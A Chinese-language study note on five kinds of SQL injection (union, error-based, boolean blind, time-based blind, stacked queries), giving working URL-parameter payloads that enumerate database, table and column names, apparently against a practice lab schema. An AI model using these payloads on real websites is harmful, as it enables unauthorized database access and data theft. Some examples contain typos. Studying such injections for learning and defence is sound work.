sql注入復習--常見的五種注入類型


  • SQL注入常見的五種注入類型
  1. 正常回顯
  2. 錯誤回顯
  3. 基於bool的盲注
  4. 基於時間的盲注
  5. 堆查詢注入

 


 

什么是SQL注入

  SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息。

  簡單來說,注入攻擊的本質就是把用戶輸入的數據當做代碼執行。比如一個網站的url中有一個參數?id=1,此參數用於調取各個被標記好的頁面,帶到數據庫中就會拼接為命令:select * from 庫名.表名 where id=1,如果攻擊者在后端加入注入語句例如:select * from 庫名.表名 where id=1 and 1=1並且應用程序沒有對參數做過濾的話,1=1將被執行,攻擊者即可判斷出此處存在注入漏洞。

 

SQL注入的分類

1、 按參數類型分為字符型數字型

2、 按頁面回顯分為回顯注入和盲注,其中回顯又分為回顯正常回顯報錯,盲注分為時間盲注布爾盲注

PS:更多的時候我們會希望它能夠回顯報錯,因為報錯信息會將數據庫信息暴露出來,更便於進一步注入。不同的數據庫注入語言和方式都有所不同,所以知道滲透目標使用什么數據庫至關重要。

 

五種注入類型的應用場景

1、正常回顯

數據庫中的數據能夠顯示到網頁中即可使用正常回顯(可使用聯合查詢)

  例1:?id=1 and 1=2 union select 1,2,...,n from 庫名.表名 where...

  前面的語句因為1=2不成立所以不會成功執行,union后的select語句選擇的列名內容則會相應的回顯出來,將回顯出來的數據替換成自己想要爆出的數據內容即可。

  例2:有些表單注入也存在正常回顯注入,比如當輸入正確的用戶名和密碼后,登錄成功的頁面可能會顯示出你的用戶名的相關內容,這就表示有回顯的機會,可以嘗試在用戶名表單或者密碼表單中進行注入。

2.錯誤回顯

  基於錯誤消息注入前提是頁面能夠響應詳細信息的錯誤描述,如果網站關閉了數據庫的報錯提示則無法使用錯誤回顯。

  常見的三種報錯注入函數有(以查database為例):

    updatexml()  ?id=1 and updatexml(1,concat(0x7e,(select(select database())),0x7e),1) 

    floor()         ?id=1 and select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x

    extractvalue()    ?id=-1 or extractvalue(1,concat(0x7e,(select database())))

  updatexml和extractvalue的報錯原因均為路徑錯誤,floor的報錯原因為主鍵冗余。

 3.基於bool的盲注

  網站能夠返回ture/false兩種不同顯示的頁面

盲注大致流程:

確定是否存在漏洞 → 確定數據庫名長度 → 確定數據庫名 → 確定表名長度 → 確定表名 → 確定列名長度 → 確定列名 → 確定內容長度 → 確定內容   

?id=1" and 1=1--+
?id=1" and 1=2--+
?id=1" and length(database())>1--+
?id=1" and ascii(mid(database(),1,1))>1--+ 
?id=1" and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>1--+
?id=1" and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1--+
?id=1" and length((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1))>1--+ 2
?id=1" and ascii(mid((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1))>1--+ 
?id=1" and length((select id from security.emails limit 0,1))>0--+
?id=1" and ascii(mid((select id from security.emails limit 0,1),1,1))>1--+

4.基於時間的盲注

  無論查詢語句正確與否,網站都會返回相同的頁面。

  ?id=1 and 1=1 and sleep(3)

  ?id=1 and 1=2 and sleep(3)

  只有當前面的語句都正確時sleep()才會被執行。

 5.堆查詢注入

   用';'分割開多條語句,可同時執行多條語句

     Q:Union也是將兩條語句合並在一起,兩者有何區別

     A:union/union all執行的語句類型是有限的,可以用來執行查詢語句,

      而堆疊注入可以執行的是任意的語句(增刪改查)

   

  PS:盲注費事費力,想要完全手工是幾乎不可能的事,

     所以會使用一些SQL注入工具,如sqlmap

 


   a little bit question

   Q:union 和and有什么區別,要在什么時候使用

   A:union把兩條記錄合並成一個記錄,當union前面的語句為假,

       后面的語句為真,則只會顯示后面的語句,不會報錯

      而and用在條件中,是與的關系,只有前后都為真才正確

    

   practice makes perfect!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM